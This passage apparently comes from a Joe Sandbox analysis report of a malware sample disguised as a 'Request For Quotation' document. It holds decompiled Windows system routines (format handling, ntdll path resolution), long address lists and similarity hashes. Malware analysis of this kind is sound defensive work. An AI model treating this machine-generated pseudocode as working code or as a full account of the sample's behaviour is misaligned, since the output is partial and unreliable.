											__ecx = __ecx - 3;
											__eflags = __ecx;
											if(__ecx != 0) {
												goto L152;
											}
											_v1088 = 0x27;
											_push(0x78);
											goto L111;
										}
										if(__eflags == 0) {
											L66:
											__ebx = __ebx | 0x00000040;
											_v1048 = 0xa;
											goto L115;
										}
										__ecx = __ecx - 0x43;
										__eflags = __ecx;
										if(__ecx == 0) {
											__eflags = __ebx & 0x00000830;
											if((__ebx & 0x00000830) == 0) {
												_push(0x20);
												_pop(__eax);
												__ebx = __ebx | __eax;
												__eflags = __ebx;
												_v1036 = __ebx;
											}
											L89:
											__eax = _v1040;
											__eax = _v1040 + 4;
											_v1060 = 1;
											_v1040 = __eax;
											__eax =  *(__eax - 4) & 0x0000ffff;
											_v1096 = __eax;
											__eflags = __bl & 0x00000020;
											if((__bl & 0x00000020) == 0) {
												_v1032 = __ax;
											} else {
												_v1076 = __al;
												__eax = 0;
												_v1075 = __al;
												 &_v1076 =  &_v1032;
												__eax = L00A67E20( &_v1032,  &_v1076,  *0xb05874);
												__eflags = __eax;
												if(__eax < 0) {
													_v1092 = 1;
												}
											}
											__edi = 0;
											__esi =  &_v1032;
											__edi = 1;
											goto L152;
										}
										__ecx = __ecx - 0x10;
										__eflags = __ecx;
										if(__ecx == 0) {
											__eflags = __ebx & 0x00000830;
											if((__ebx & 0x00000830) == 0) {
												_push(0x20);
												_pop(__eax);
												__ebx = __ebx | __eax;
												__eflags = __ebx;
												_v1036 = __ebx;
											}
											goto L78;
										}
										__ecx = __ecx - 5;
										__eflags = __ecx;
										if(__ecx == 0) {
											goto L110;
										}
										__ecx = __ecx - 1;
										__ecx = __ecx - 1;
										__eflags = __ecx;
										if(__ecx == 0) {
											__edx = _v1040;
											__edx = _v1040 + 4;
											_v1040 = __edx;
											__ecx =  *(__edx - 4);
											__eflags = __ecx;
											if(__ecx == 0) {
												L75:
												_push(6);
												__esi = "(null)";
												_pop(__edi);
												goto L152;
											}
											__esi =  *(__ecx + 4);
											__eflags = __esi;
											if(__esi == 0) {
												goto L75;
											}
											__eax =  *__ecx & 0x0000ffff;
											__edx = __eax;
											__eflags =  *((intOrPtr*)(__ecx + 2)) - __ax;
											if( *((intOrPtr*)(__ecx + 2)) < __ax) {
												goto L183;
											}
											__edi = __edx;
											__eflags = __ebx & 0x00000800;
											if((__ebx & 0x00000800) == 0) {
												__eax = 0;
												_v1060 = 0;
												goto L152;
											}
											__eax =  !__eax;
											__eflags = __al & 0x00000001;
											if((__al & 0x00000001) == 0) {
												goto L183;
											}
											__eax = __esi;
											__eax =  !__esi;
											__eflags = __al & 0x00000001;
											if((__al & 0x00000001) == 0) {
												goto L183;
											}
											__edi = __edi >> 1;
											_v1060 = 1;
											goto L152;
										}
										__ecx = __ecx - 9;
										__eflags = __ecx;
										if(__ecx == 0) {
											goto L89;
										}
										__ecx = __ecx - 1;
										__eflags = __ecx;
										if(__ecx != 0) {
											goto L152;
										}
										goto L66;
								}
							}
						}
						_t232 = _v1072;
						if(_t232 == 0) {
							goto L184;
						}
						if(_t232 == 7) {
							goto L184;
						}
						goto L183;
					}
				}
				L1:
				_push(_t251);
				_push(_t251);
				_push(_t251);
				_push(_t251);
				_push(_t251);
				_t229 = E00A5B58E(_t242, _t246, _t251, _t252, _t254) | 0xffffffff;
				goto L186;
			}

0x00a68be8
0x00a68be8
0x00a68bfa
0x00a68bfd
0x00a68c00
0x00a68c05
0x00a68c0b
0x00a68c11
0x00a68c17
0x00a68c1d
0x00a68c23
0x00a68c29
0x00a68c2f
0x00a68c36
0x00a68c38
0x00a68c40
0x00a68c57
0x00a68c5c
0x00000000
0x00000000
0x00a68c5e
0x00a68c5f
0x00a68c60
0x00a68c68
0x00a68c6e
0x00a68c74
0x00a6951b
0x00a6951b
0x00000000
0x00a68c7a
0x00a68c7a
0x00a68c80
0x00a68c82
0x00a68c82
0x00a68c88
0x00a68c92
0x00a68c95
0x00a68c98
0x00000000
0x00000000
0x00a68ca0
0x00a68ca2
0x00a68ca5
0x00a68ca9
0x00a68cb7
0x00a68cab
0x00a68cb2
0x00a68cb2
0x00a68cc2
0x00a68cc2
0x00a68ccc
0x00a68cd2
0x00a68cd8
0x00a68cdb
0x00a68ce4
0x00a69507
0x00a69509
0x00a6950a
0x00a6950b
0x00a6950c
0x00a6950d
0x00a69516
0x00a69521
0x00a69521
0x00a69522
0x00a69523
0x00a69531
0x00a68cea
0x00a68ced
0x00a694e9
0x00a694e9
0x00a694ec
0x00a694ec
0x00a694f2
0x00000000
0x00000000
0x00000000
0x00a694f2
0x00a68cf3
0x00000000
0x00a68f1c
0x00a68f1c
0x00a68f22
0x00a68f34
0x00000000
0x00000000
0x00a68cfc
0x00a68d03
0x00a68d05
0x00a68d0b
0x00a68d11
0x00a68d17
0x00a68d1d
0x00000000
0x00000000
0x00a68d28
0x00a68d2a
0x00a68d2b
0x00a68d2b
0x00a68d2d
0x00a68d74
0x00000000
0x00a68d74
0x00a68d2f
0x00a68d2f
0x00a68d32
0x00a68d6c
0x00000000
0x00a68d6c
0x00a68d34
0x00a68d34
0x00a68d37
0x00a68d67
0x00000000
0x00a68d67
0x00a68d39
0x00a68d3a
0x00a68d3a
0x00a68d3d
0x00a68d59
0x00a68d59
0x00000000
0x00a68d59
0x00a68d3f
0x00a68d42
0x00a68d45
0x00000000
0x00a68d4b
0x00a68d4b
0x00a68d4b
0x00000000
0x00a68d4b
0x00000000
0x00a68d79
0x00a68d7b
0x00a68d7c
0x00a68d7f
0x00a68dc1
0x00a68dc4
0x00a68dc6
0x00000000
0x00a68d81
0x00a68d81
0x00a68d87
0x00a68d8a
0x00a68d90
0x00a68d93
0x00a68d96
0x00a68d9c
0x00a68d9e
0x00a68da4
0x00a68da7
0x00a68da9
0x00a68daf
0x00a68daf
0x00000000
0x00a68d9e
0x00000000
0x00a68dd1
0x00a68dd1
0x00000000
0x00000000
0x00a68dde
0x00a68de0
0x00a68de1
0x00a68de4
0x00a68e1c
0x00a68e1f
0x00a68dd3
0x00a68dd3
0x00000000
0x00a68dd3
0x00a68de6
0x00a68dec
0x00a68def
0x00a68df5
0x00a68df8
0x00a68dfa
0x00a68e00
0x00a68e03
0x00a68e09
0x00a68e09
0x00000000
0x00000000
0x00a68e23
0x00a68e26
0x00a68e8f
0x00a68e92
0x00a68e95
0x00a68e98
0x00a68eb5
0x00a68eb8
0x00a68ed5
0x00a68ed8
0x00000000
0x00000000
0x00a68ede
0x00a68ee0
0x00a68ee1
0x00a68ee4
0x00000000
0x00000000
0x00a68eea
0x00a68eed
0x00000000
0x00000000
0x00a68ef3
0x00a68ef6
0x00000000
0x00000000
0x00a68efc
0x00a68efe
0x00a68eff
0x00a68f02
0x00000000
0x00000000
0x00a68f08
0x00a68f0a
0x00a68f0b
0x00a68f0e
0x00000000
0x00000000
0x00a68f14
0x00a68f14
0x00a68f14
0x00a68f16
0x00000000
0x00a68f16
0x00a68eba
0x00a68ec0
0x00a68ec5
0x00000000
0x00000000
0x00a68ec7
0x00a68eca
0x00a68d4e
0x00a68d4e
0x00000000
0x00a68d4e
0x00a68e9a
0x00a68ea0
0x00a68ea5
0x00000000
0x00000000
0x00a68ea7
0x00a68eaa
0x00000000
0x00a68eaa
0x00a68e28
0x00a68e2b
0x00a68e85
0x00a68e87
0x00a68e88
0x00a68d5c
0x00a68d5c
0x00000000
0x00a68d5c
0x00a68e2d
0x00a68e2f
0x00a68e30
0x00a68e32
0x00a68e4b
0x00a68e4e
0x00a68e51
0x00a68e54
0x00a68e56
0x00a68e5c
0x00a68e5c
0x00a68e5f
0x00a68e61
0x00a68e64
0x00a68e6a
0x00a68e6b
0x00a68e70
0x00a68e75
0x00a68e77
0x00a68e7a
0x00000000
0x00a68e7a
0x00a68e34
0x00a68e37
0x00a68e3a
0x00000000
0x00000000
0x00a68e40
0x00000000
0x00000000
0x00a68f41
0x00a68f43
0x00a68f44
0x00a68f46
0x00a690fa
0x00a690fa
0x00a690fd
0x00000000
0x00000000
0x00a69103
0x00a69103
0x00a69106
0x00a691b9
0x00a691c3
0x00a691c5
0x00a691d3
0x00a691d3
0x00a691d9
0x00a691f2
0x00a691f8
0x00a69211
0x00a69217
0x00a69219
0x00a6921c
0x00a6921f
0x00a69225
0x00a69228
0x00a6923a
0x00a69240
0x00a69242
0x00a6924e
0x00a69251
0x00a69251
0x00a69253
0x00a69255
0x00a69255
0x00a69258
0x00a69276
0x00a69276
0x00a6927c
0x00a6927e
0x00a6927e
0x00a69280
0x00a69286
0x00a69288
0x00a69292
0x00a69298
0x00a6929e
0x00a692a4
0x00a692a6
0x00a692a6
0x00a6928a
0x00a6928a
0x00a6928c
0x00a6928c
0x00a692ad
0x00a692ad
0x00a692af
0x00a692b1
0x00a692b1
0x00a692b7
0x00a692bd
0x00a692bd
0x00a692bf
0x00a692c1
0x00a692c2
0x00a692c8
0x00a692ca
0x00000000
0x00000000
0x00a692cc
0x00a692cc
0x00a692ce
0x00a692ce
0x00a692d0
0x00a69305
0x00a6930b
0x00a69311
0x00a69313
0x00a69314
0x00a6931a
0x00a6932d
0x00a6932d
0x00a69334
0x00000000
0x00000000
0x00a6933a
0x00a6933d
0x00a6935f
0x00a6935f
0x00a69361
0x00a69362
0x00a69362
0x00a69368
0x00a6936c
0x00a69372
0x00a69372
0x00a69375
0x00a6937b
0x00a69381
0x00a69383
0x00a69392
0x00a69397
0x00a693a7
0x00a693b4
0x00a693bc
0x00a693c3
0x00a693c5
0x00a693cb
0x00a693cc
0x00a693d2
0x00a693d8
0x00a693da
0x00a693db
0x00a693dc
0x00a693e1
0x00a693e1
0x00a693e4
0x00a693eb
0x00a694a5
0x00a694a5
0x00a694b4
0x00a693f1
0x00a693f1
0x00a693f3
0x00000000
0x00000000
0x00a693f9
0x00a693fb
0x00a69401
0x00a69403
0x00a6940a
0x00a69410
0x00a69418
0x00a69420
0x00a69426
0x00a69429
0x00a6942b
0x00a6942b
0x00a6942b
0x00a6942b
0x00a69431
0x00a69433
0x00000000
0x00000000
0x00a69448
0x00a6944d
0x00a69456
0x00a6945c
0x00a69462
0x00a69468
0x00a6946a
0x00000000
0x00000000
0x00a694bc
0x00a694bc
0x00a694c3
0x00a694c5
0x00a694c8
0x00a694ca
0x00a694d0
0x00a694d1
0x00a694d7
0x00a694dd
0x00a694df
0x00a694e0
0x00a694e1
0x00a694e6
0x00a694e6
0x00a694c8
0x00000000
0x00a694c3
0x00a6949c
0x00a6949c
0x00000000
0x00a693eb
0x00a6933f
0x00a69345
0x00a6946e
0x00a69471
0x00a6947a
0x00a6947d
0x00000000
0x00000000
0x00a69483
0x00a69485
0x00a69486
0x00a6948d
0x00000000
0x00a6948d
0x00a69473
0x00a6934d
0x00a6934d
0x00a6934e
0x00a69355
0x00000000
0x00a69355
0x00a6934b
0x00000000
0x00a6934b
0x00a6931c
0x00a6931e
0x00a69325
0x00a69325
0x00a69327
0x00a69327
0x00a69328
0x00a6932a
0x00a6932b
0x00000000
0x00a6932b
0x00a69320
0x00a69323
0x00000000
0x00000000
0x00000000
0x00a69323
0x00a692d2
0x00a692d2
0x00a692d3
0x00a692de
0x00a692e3
0x00a692e9
0x00a692ea
0x00a692ed
0x00a692ef
0x00a692f2
0x00a692f4
0x00a692f4
0x00a692fa
0x00a69300
0x00a69302
0x00a692bd
0x00a692bf
0x00a692c1
0x00a692c2
0x00a692c8
0x00a692ca
0x00000000
0x00000000
0x00000000
0x00a692ca
0x00a692bd
0x00a6925a
0x00a6925c
0x00000000
0x00000000
0x00a6925e
0x00a69264
0x00a69264
0x00a69266
0x00a69268
0x00a6926a
0x00a6926a
0x00a69270
0x00000000
0x00a69270
0x00a69260
0x00a69262
0x00000000
0x00000000
0x00000000
0x00a69262
0x00a69244
0x00a69247
0x00a69247
0x00a69248
0x00a6924a
0x00a6924a
0x00000000
0x00a6924a
0x00a6922a
0x00a6922c
0x00a69234
0x00a6922e
0x00a6922e
0x00a6922e
0x00000000
0x00a6922c
0x00a691fa
0x00a69200
0x00a69203
0x00a69209
0x00a6920c
0x00000000
0x00a6920c
0x00a691db
0x00a691e1
0x00a691e4
0x00a691ea
0x00a691ed
0x00000000
0x00a691ed
0x00a691c7
0x00a691c7
0x00a691cd
0x00a691cd
0x00000000
0x00a691cd
0x00a6910c
0x00a6910c
0x00a6910f
0x00a69177
0x00a69181
0x00a69181
0x00a6918b
0x00a6918d
0x00a6918d
0x00a6918e
0x00a69198
0x00a6919a
0x00a6919c
0x00a6919e
0x00a6919f
0x00a691a6
0x00a691ad
0x00a691ad
0x00000000
0x00a6919a
0x00a69111
0x00a69111
0x00a69114
0x00a6901d
0x00a6901d
0x00a69023
0x00a69026
0x00a69028
0x00a69028
0x00a6902d
0x00a69033
0x00a69036
0x00a6903c
0x00a6903f
0x00a69042
0x00a69146
0x00a69148
0x00a6914a
0x00a6914a
0x00a6914f
0x00a69159
0x00a6915b
0x00a6915d
0x00a6916e
0x00a6916e
0x00a69170
0x00000000
0x00a6915f
0x00a6915f
0x00a6915f
0x00a69161
0x00a69161
0x00a69162
0x00a69165
0x00000000
0x00000000
0x00a69167
0x00a6916a
0x00a6916c
0x00000000
0x00000000
0x00000000
0x00a6916c
0x00000000
0x00a69161
0x00a69048
0x00a69048
0x00a6904a
0x00a6904c
0x00a6904c
0x00a69051
0x00a69053
0x00a69055
0x00a69057
0x00a6905d
0x00a6905d
0x00a69060
0x00000000
0x00000000
0x00a69066
0x00a69067
0x00a69069
0x00000000
0x00000000
0x00000000
0x00a6906b
0x00a6905d
0x00000000
0x00a69057
0x00a69042
0x00a6911a
0x00a6911b
0x00a6911b
0x00a6911e
0x00a69137
0x00000000
0x00a69137
0x00a69120
0x00a69120
0x00a69123
0x00000000
0x00000000
0x00a69129
0x00a69133
0x00000000
0x00a69133
0x00a68f4c
0x00a68f81
0x00a68f81
0x00a68f84
0x00000000
0x00a68f84
0x00a68f4e
0x00a68f4e
0x00a68f51
0x00a69070
0x00a69076
0x00a69078
0x00a6907a
0x00a6907b
0x00a6907b
0x00a6907d
0x00a6907d
0x00a69083
0x00a69083
0x00a69089
0x00a6908c
0x00a69096
0x00a6909c
0x00a690a0
0x00a690a6
0x00a690a9
0x00a690e5
0x00a690ab
0x00a690b1
0x00a690b7
0x00a690b9
0x00a690c6
0x00a690cd
0x00a690d5
0x00a690d7
0x00a690d9
0x00a690d9
0x00a690d7
0x00a690ec
0x00a690ee
0x00a690f4
0x00000000
0x00a690f4
0x00a68f57
0x00a68f57
0x00a68f5a
0x00a6900a
0x00a69010
0x00a69012
0x00a69014
0x00a69015
0x00a69015
0x00a69017
0x00a69017
0x00000000
0x00a69010
0x00a68f60
0x00a68f60
0x00a68f63
0x00000000
0x00000000
0x00a68f69
0x00a68f6a
0x00a68f6a
0x00a68f6d
0x00a68f93
0x00a68f99
0x00a68f9c
0x00a68fa2
0x00a68fa5
0x00a68fa7
0x00a68ffd
0x00a68ffd
0x00a68fff
0x00a69004
0x00000000
0x00a69004
0x00a68fa9
0x00a68fac
0x00a68fae
0x00000000
0x00000000
0x00a68fb0
0x00a68fb3
0x00a68fb5
0x00a68fb9
0x00000000
0x00000000
0x00a68fbf
0x00a68fc1
0x00a68fc7
0x00a68ff0
0x00a68ff2
0x00000000
0x00a68ff2
0x00a68fc9
0x00a68fcb
0x00a68fcd
0x00000000
0x00000000
0x00a68fd3
0x00a68fd5
0x00a68fd7
0x00a68fd9
0x00000000
0x00000000
0x00a68fdf
0x00a68fe1
0x00000000
0x00a68fe1
0x00a68f6f
0x00a68f6f
0x00a68f72
0x00000000
0x00000000
0x00a68f78
0x00a68f78
0x00a68f7b
0x00000000
0x00000000
0x00000000
0x00000000
0x00a68cf3
0x00a68ce4
0x00a694f8
0x00a69500
0x00000000
0x00000000
0x00a69505
0x00000000
0x00000000
0x00000000
0x00a69505
0x00a68c74
0x00a68c42
0x00a68c42
0x00a68c43
0x00a68c44
0x00a68c45
0x00a68c46
0x00a68c4f
0x00000000

Strings

(null), xrefs: 00A68FFF, 00A6904C
(null), xrefs: 00A6914A
', xrefs: 00A69129

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: '$(null)$(null)
API String ID: 0-1087929977
Opcode ID: 0c3f2abdfb1165448c63ad474ba49ab2a1e6eb764c057c4d65aa37079ef121d5
Instruction ID: e1224ee6e98c574ffe9c6a95d5bd73e9fa51109c0d39c1fde19ff65e84725e93
Opcode Fuzzy Hash: 0c3f2abdfb1165448c63ad474ba49ab2a1e6eb764c057c4d65aa37079ef121d5
Instruction Fuzzy Hash: F13294F1A002189ADF348F28CD947EAB7B9EB44314F5481EDD619A7281DB358EC5CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00A32430, Relevance: 6.7, Strings: 5, Instructions: 461
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00A32430(signed char _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr* _a20, signed int _a24, intOrPtr* _a28, short _a32, intOrPtr* _a36) {
				signed int _v8;
				char _v140;
				short _v172;
				char _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				char _v192;
				signed int _v196;
				signed int _v200;
				short* _v204;
				short* _v208;
				short* _v212;
				signed int _v214;
				char _v216;
				short _v224;
				short _v228;
				short* _v232;
				signed short* _v236;
				signed short* _v240;
				short _v242;
				char _v244;
				intOrPtr _v248;
				char _v252;
				intOrPtr _v256;
				char _v260;
				char* _v280;
				char _v284;
				char _v288;
				char _v292;
				signed int _v296;
				void* _v300;
				signed int _v304;
				void* _v312;
				signed short _v316;
				char _v320;
				signed int _v324;
				signed short _v328;
				signed short* _v332;
				signed int _v336;
				char _v337;
				void* _v338;
				void* _v342;
				void* _v344;
				void* _v348;
				void* _v352;
				void* _v353;
				void* _v354;
				void* _v356;
				void* _v364;
				void* _v366;
				void* _v368;
				void* _v370;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t179;
				signed short* _t180;
				intOrPtr _t182;
				intOrPtr _t186;
				short* _t187;
				intOrPtr _t193;
				short* _t194;
				short* _t204;
				signed int _t226;
				char _t227;
				signed int _t228;
				intOrPtr* _t235;
				intOrPtr* _t248;
				void* _t249;
				intOrPtr* _t250;
				char* _t251;
				intOrPtr* _t257;
				short* _t258;
				signed short* _t261;
				signed int _t264;
				intOrPtr* _t266;
				void* _t267;
				signed short* _t268;
				intOrPtr _t269;
				intOrPtr* _t270;
				signed short* _t271;
				void* _t276;
				void* _t277;
				signed int _t278;
				void* _t280;
				signed int _t282;
				signed int _t284;

				_t284 = (_t282 & 0xfffffff8) - 0x154;
				_v8 =  *0xb0d360 ^ _t284;
				_t250 = _a28;
				_t260 = _a32;
				_t179 = _a36;
				_t248 = _a20;
				_v296 = _t250;
				_v320 = 0;
				_v316 = 0;
				_v280 =  &_v140;
				_v300 = _t260;
				_v284 = 0x800000;
				_v288 = 0;
				_v328 = 0;
				_v304 = 0;
				_t266 = _a8;
				if(_t250 != 0) {
					 *_t250 = 0;
				}
				if(_t260 != 0) {
					 *_t260 = 0;
				}
				if(_t179 != 0) {
					 *_t179 = 0x208;
				}
				if(_t248 != 0) {
					 *_t248 = 0;
					 *((intOrPtr*)(_t248 + 4)) = 0;
				}
				_t180 =  &_v172;
				_v228 = 0x20;
				_v236 = _t180;
				_v232 = _t180;
				_v240 = _t180;
				_v172 = 0;
				_t182 = _a16;
				_v224 = 0x20;
				_v244 = 0x200000;
				if(_t182 == 0) {
					_t251 =  &_v192;
					_v200 = 2;
					_v208 = _t251;
					_v204 = _t251;
					_v212 = _t251;
					_v196 = 2;
					_v192 = 0;
					_v216 = 0x20000;
				} else {
					_t264 =  *(_t182 + 2) & 0x0000ffff;
					_t258 =  *((intOrPtr*)(_t182 + 4));
					if(_t264 < 2) {
						_t258 =  &_v192;
						_t264 = 2;
					}
					_v208 = _t258;
					_v200 = _t264;
					_v204 = _t258;
					_v196 = _t264;
					_v212 = _t258;
					if(_t258 != 0) {
						 *_t258 = 0;
					}
					_v214 = _t264;
					_t260 = _v300;
					_v216 = 0;
				}
				_t253 = _a24;
				_v188 = _t182;
				_v184 = _t248;
				_v180 = _t253;
				_v176 = 1;
				if((_a4 & 0xfffffffe) != 0) {
					_t276 = 0xc000000d;
					goto L82;
				} else {
					if(_t266 == 0) {
						_t276 = 0xc000000d;
						L82:
						if(_t276 >= 0) {
							L57:
							_t183 = _v316;
							if(_v316 != 0) {
								E00A1AD30(_t183);
								_v324 = 0;
								_v320 = 0;
							}
							_t186 = _v236;
							if(_t186 != 0) {
								if(_t186 != _v232) {
									_v248 = _t186;
									L00A32400( &_v252);
								}
								_v236 = _v232;
								_v228 = _v224;
							}
							_t187 = _v232;
							_v240 = _t187;
							if(_t187 != 0) {
								_t253 = 0;
								 *_t187 = 0;
							}
							_v244 = 0;
							_v242 = _v224;
							if(_t276 == 0xc0150001) {
								E00AB5100(_t253, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x1b2, "Status != STATUS_SXS_SECTION_NOT_FOUND");
								_t276 = 0xc00000e5;
								goto L82;
							} else {
								_pop(_t267);
								_pop(_t277);
								_pop(_t249);
								return L00A5B640(_t276, _t249, _v8 ^ _t284, _t260, _t267, _t277);
							}
						}
						L51:
						if(_v176 != 0) {
							_t193 = _v208;
							if(_t193 != 0 && _t193 != _v204) {
								_v256 = _t193;
								L00A32400( &_v260);
							}
							_t194 = _v204;
							if(_t194 != 0) {
								_t253 = 0;
								 *_t194 = 0;
							}
						}
						E00A5FA60( &_v216, 0, 0x2c);
						_t284 = _t284 + 0xc;
						goto L57;
					}
					if(_t182 == 0) {
						if(_t248 != 0 || _t260 == 0) {
							L15:
							_t253 = 0;
							_t268 =  *(_t266 + 4);
							_v336 =  *_t266;
							_t204 = _a12;
							_v332 = _t268;
							_v338 = 0;
							if(_t204 == 0 ||  *_t204 == 0) {
								L23:
								_t276 = 0;
								goto L24;
							} else {
								_v337 = 0;
								_t280 = E00A33690(1,  &_v336, 0x9f11bc,  &_v292);
								if(_t280 < 0) {
									if(_t280 == 0xc0000225) {
										L19:
										_t276 = 0;
										L20:
										_t268 = _v332;
										if(_t276 < 0) {
											L97:
											_t253 = _v338;
											L24:
											if(_t276 < 0) {
												goto L51;
											}
											if(_t253 != 0) {
												_t268 = _v240;
												_v336 = _v244;
												_v332 = _t268;
											}
											_v312 = 0;
											_v338 = 0;
											if(_v316 != 0) {
												_t276 = 0xc000000d;
												goto L42;
											} else {
												_t226 = _v336;
												if(_t226 < 2) {
													L30:
													if(_t226 < 4 ||  *_t268 == 0 || _t268[1] != 0x3a || _t226 < 6) {
														L40:
														_t227 = _v338;
														goto L41;
													} else {
														_t228 = _t268[2] & 0x0000ffff;
														if(_t228 != 0x5c) {
															if(_t228 != 0x2f) {
																goto L40;
															}
														}
														_v324 = 2;
														L36:
														_t276 = E00A33850( &_v336,  &_v284,  &_v320,  &_v312, 0, 0,  &_v324, 0);
														if(_t276 < 0) {
															L42:
															_t206 = _v316;
															if(_v316 != 0) {
																E00A1AD30(_t206);
																_v324 = 0;
																_v320 = 0;
															}
															L43:
															if(_t276 < 0) {
																goto L51;
															}
															if((_a4 & 0x00000001) == 0 ||  *((intOrPtr*)( *[fs:0x30] + 0x10)) == 0 || ( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00001000) == 0) {
																L47:
																_t269 = _a16;
																if((_v304 & 0x00000001) != 0) {
																	L77:
																	if(_t248 == 0) {
																		if(_t269 == 0 || _v212 ==  *((intOrPtr*)(_t269 + 4))) {
																			goto L78;
																		} else {
																			_t276 = 0xc0000023;
																			goto L82;
																		}
																	}
																	L78:
																	_t270 = _v300;
																	if(_t270 != 0) {
																		_t276 = E00A33690(1,  &_v216, 0x9f1810,  &_v328);
																		if(_t276 < 0) {
																			goto L51;
																		}
																		 *_t270 = ((_v328 & 0x0000ffff) >> 1) + 1;
																	}
																	_t253 =  &_v216;
																	_t276 = E00A55969( &_v216);
																	if(_t276 < 0) {
																		goto L51;
																	}
																	_t253 = _v296;
																	if(_t253 != 0) {
																		 *_t253 = _v304;
																	}
																	_t276 = 0;
																	goto L82;
																}
																if(_t269 == 0) {
																	if(_t248 != 0) {
																		goto L49;
																	}
																	_t260 = 1;
																	L50:
																	_t253 =  &_v336;
																	_t276 = E00A32990( &_v336, _t260,  &_v288, _v296,  &_v216);
																	if(_t276 >= 0) {
																		goto L77;
																	}
																	goto L51;
																}
																L49:
																_t260 = 0;
																goto L50;
															} else {
																_t260 =  &_v216;
																_t253 =  &_v336;
																_t276 = E00AA40D2( &_v336,  &_v216,  &_v304);
																if(_t276 < 0) {
																	goto L51;
																}
																goto L47;
															}
														}
														_t235 = _v312;
														_t278 =  *_t235;
														_t271 =  *(_t235 + 4);
														_v312 = _t278;
														if(_v324 == 6) {
															_t261 = _v332;
															if( *((short*)(_t261 + 0xa)) != 0x3a ||  *((short*)(_t261 + 0xc)) != 0x5c) {
																goto L38;
															} else {
																_v332 = _t261 + 8;
																_t253 = _v336 + 0xfff8;
																 *((intOrPtr*)(_t284 + 0x16)) =  *((intOrPtr*)(_t284 + 0x16)) + 0xfff8;
																_t260 = _v312 + 0xfff8;
																_t271 =  &(_t271[4]);
																_v312 = _t260;
																 *((intOrPtr*)(_t284 + 0x2e)) =  *((intOrPtr*)(_t284 + 0x2e)) + 0xfff8;
																_t278 = _v312;
																_v336 = _t253;
																L39:
																if(_t253 > _t260) {
																	_t253 =  &_v320;
																	if(_t235 ==  &_v320) {
																		_t227 = 1;
																	} else {
																		_t227 = _v338;
																	}
																	_v336 = _t278;
																	_v332 = _t271;
																	L41:
																	_t276 = 0;
																	if(_t227 != 0) {
																		goto L43;
																	}
																	goto L42;
																}
																goto L40;
															}
														}
														L38:
														_t253 = _v336;
														_t260 = _v312;
														goto L39;
													}
												}
												_t253 =  *_t268 & 0x0000ffff;
												if(_t253 == 0x5c || _t253 == 0x2f) {
													if(_t226 < 4) {
														goto L40;
													}
													_t253 = _t268[1] & 0x0000ffff;
													if(_t253 == 0x5c || _t253 == 0x2f) {
														if(_t226 < 6) {
															L110:
															_v324 = 1;
															goto L36;
														}
														_t253 = _t268[2] & 0x0000ffff;
														if(_t253 == 0x2e || _t253 == 0x3f) {
															if(_t226 < 8) {
																L109:
																if(_t226 == 6) {
																	goto L40;
																}
																goto L110;
															}
															_t253 = _t268[3] & 0x0000ffff;
															if(_t253 == 0x5c || _t253 == 0x2f) {
																_v324 = 6;
																goto L36;
															} else {
																goto L109;
															}
														} else {
															goto L110;
														}
													} else {
														goto L40;
													}
												} else {
													goto L30;
												}
											}
										}
										if(_v337 == 0) {
											_t257 = _a12;
											 *(_t284 + 0x50) = _v336;
											 *(_t284 + 0x54) = _t268;
											 *((intOrPtr*)(_t284 + 0x58)) =  *_t257;
											 *((intOrPtr*)(_t284 + 0x5c)) =  *((intOrPtr*)(_t257 + 4));
											_v244 = 0;
											_t276 = E00A4D5C0(_t257,  &_v244, 2, _t284 + 0x50);
											if(_t276 < 0) {
												goto L97;
											}
											_t253 = 1;
											goto L23;
										}
										_t253 = _v338;
										goto L23;
									}
									goto L20;
								}
								_v337 = 1;
								goto L19;
							}
						} else {
							L96:
							_t276 = 0xc000000d;
							goto L82;
						}
					}
					if(_t248 == 0 || _t253 != 0) {
						goto L15;
					} else {
						goto L96;
					}
				}
			}

0x00a32438
0x00a32445
0x00a3244c
0x00a3244f
0x00a32452
0x00a32456
0x00a3245c
0x00a32460
0x00a32464
0x00a3246f
0x00a32475
0x00a32479
0x00a32481
0x00a32489
0x00a3248e
0x00a32493
0x00a32498
0x00a328f5
0x00a328f5
0x00a324a0
0x00a32956
0x00a32956
0x00a324a8
0x00a3295d
0x00a3295d
0x00a324b0
0x00a324b4
0x00a324b6
0x00a324b6
0x00a324b9
0x00a324c0
0x00a324cb
0x00a324cf
0x00a324d3
0x00a324d9
0x00a324e1
0x00a324e4
0x00a324ef
0x00a324f9
0x00a3280f
0x00a32816
0x00a32821
0x00a32828
0x00a3282f
0x00a32838
0x00a32843
0x00a3284b
0x00a324ff
0x00a324ff
0x00a32503
0x00a32509
0x00a7d20f
0x00a7d216
0x00a7d216
0x00a3250f
0x00a32516
0x00a3251d
0x00a32524
0x00a3252b
0x00a32534
0x00a32538
0x00a32538
0x00a3253d
0x00a32545
0x00a32549
0x00a32549
0x00a32558
0x00a3255b
0x00a32562
0x00a32569
0x00a32570
0x00a32578
0x00a7d220
0x00000000
0x00a3257e
0x00a32580
0x00a7d22a
0x00a32930
0x00a32932
0x00a32791
0x00a32791
0x00a32797
0x00a7d3b8
0x00a7d3bf
0x00a7d3c3
0x00a7d3c3
0x00a3279d
0x00a327a3
0x00a327a9
0x00a32968
0x00a32971
0x00a32971
0x00a327b3
0x00a327be
0x00a327be
0x00a327c5
0x00a327c9
0x00a327cf
0x00a327d1
0x00a327d3
0x00a327d3
0x00a327d8
0x00a327e5
0x00a327f0
0x00a7d3e0
0x00a7d3e5
0x00000000
0x00a327f6
0x00a327ff
0x00a32800
0x00a32801
0x00a3280c
0x00a3280c
0x00a327f0
0x00a3274b
0x00a32753
0x00a32755
0x00a3275e
0x00a7d3a4
0x00a7d3ad
0x00a7d3ad
0x00a3276d
0x00a32776
0x00a32778
0x00a3277a
0x00a3277a
0x00a32776
0x00a32789
0x00a3278e
0x00000000
0x00a3278e
0x00a32588
0x00a3285d
0x00a3259a
0x00a3259c
0x00a3259e
0x00a325a1
0x00a325a5
0x00a325a8
0x00a325ac
